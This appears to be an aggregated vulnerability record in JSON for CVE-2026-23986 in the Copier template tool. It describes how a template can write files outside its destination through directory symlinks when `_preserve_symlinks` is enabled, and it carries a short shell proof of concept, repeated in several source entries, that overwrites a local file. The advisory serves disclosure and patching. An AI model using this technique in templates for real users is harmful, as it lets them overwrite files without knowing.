{"id":"CVE-2026-23986","aliases":["EUVD-2026-4141","GHSA-4fqp-r85r-hxqh","PYSEC-2026-1272"],"status":"published","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true","description":"Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.","severity":{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0027,"percentile":0.19371,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-61"],"published":"2026-01-21T22:19:29Z","modified":"2026-10-28T02:30:48Z","fixes":[{"ecosystem":"PyPI","package":"copier","fixed_in":["9.11.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"copier","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.11.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"copier","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.11.2"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.10.0","9.10.1","9.10.2","9.10.3","9.11.0","9.11.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0","9.9.1"]},{"source":"osv","ecosystem":"PyPI","package":"copier","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.11.2"}]}],"versions":["2.0.0","2.0.1","2.1.0","2.2.1","2.2.2","2.2.3","2.3","2.3.1","2.3.2","2.3.3","2.4.0","2.4.1","2.4.2","2.5.0","2.5.1","3.0.0a3","3.0.0a5","3.0.0a6","3.0.0a7","3.0.0a8","3.0.0b1","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.0.6","3.1.0","3.2.0","4.0.0","4.0.1","4.0.2","4.1.0","5.0.0","5.1.0","6.0.0","6.0.0a0","6.0.0a2","6.0.0a3","6.0.0a4","6.0.0a5","6.0.0a6","6.0.0a7","6.0.0a9","6.0.0b0","6.1.0","6.2.0","7.0.1","7.1.0","7.1.0a0","7.2.0","8.0.0","8.1.0","8.2.0","8.3.0","9.0.1","9.1.0","9.1.1","9.10.0","9.10.1","9.10.2","9.10.3","9.11.0","9.11.1","9.2.0","9.3.0","9.3.1","9.4.0","9.4.1","9.5.0","9.6.0","9.7.0","9.7.1","9.8.0","9.9.0","9.9.1"]}],"products":[{"vendor":"copier-org","product":"copier"}],"references":[{"url":"https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh","tags":["x_refsource_CONFIRM","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/copier-org/copier/releases/tag/v9.11.2","tags":["x_refsource_MISC","Product","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23986","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4fqp-r85r-hxqh","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23986.json","tags":["advisory"]},{"url":"https://github.com/copier-org/copier","tags":["package"]},{"url":"https://pypi.org/project/copier","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-23986","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true","description":"Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.","status":"published","published":"2026-01-21T22:20:37.72Z","modified":"2026-01-22T16:49:26.426Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium","assessor":"cna"}],"cwes":["CWE-61"],"updated_at":"2026-11-02T13:42:26.790871Z"}],"euvd":[{"id":"EUVD-2026-4141","description":"Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.","status":"published","published":"2026-01-21T22:20:37Z","modified":"2026-01-22T16:49:26Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T19:48:48.575559Z"}],"ghsa":[{"id":"GHSA-4fqp-r85r-hxqh","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","description":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -\u003e ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","status":"published","published":"2026-01-21T22:19:29Z","modified":"2026-02-02T16:33:55Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"}],"cwes":["CWE-61"],"updated_at":"2026-11-02T14:39:21.558748Z"}],"nvd":[{"id":"CVE-2026-23986","description":"Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.","status":"published","published":"2026-01-21T23:15:52.793Z","modified":"2026-06-17T10:22:24.03Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-61"],"updated_at":"2026-11-02T14:12:04.423757Z"}],"osv":[{"id":"CVE-2026-23986","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true","description":"Copier is a library and CLI app for rendering project templates. Prior to version 9.11.2, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with `_preserve_symlinks: true` and a generated directory structure whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. Version 9.11.2 patches the issue.","status":"published","published":"2026-01-21T22:20:37.72Z","modified":"2026-10-28T02:30:48.560103407Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-61"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-4fqp-r85r-hxqh","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","description":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -\u003e ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","status":"published","published":"2026-01-21T22:19:29Z","modified":"2026-07-07T17:56:39.975721258Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-61"],"updated_at":"2026-11-02T15:46:36.782754Z"},{"id":"PYSEC-2026-1272","title":"Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true ","description":"### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n\u003e [!NOTE]\n\u003e\n\u003e At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" \u003e sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" \u003e \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" \u003e copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -\u003e ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a","status":"published","published":"2026-07-07T16:03:19.651307Z","modified":"2026-07-07T17:47:12.903149376Z","cvss":[{"version":"3.1","score":7.1,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H","level":"high"},{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T15:52:54.622769Z"}]}}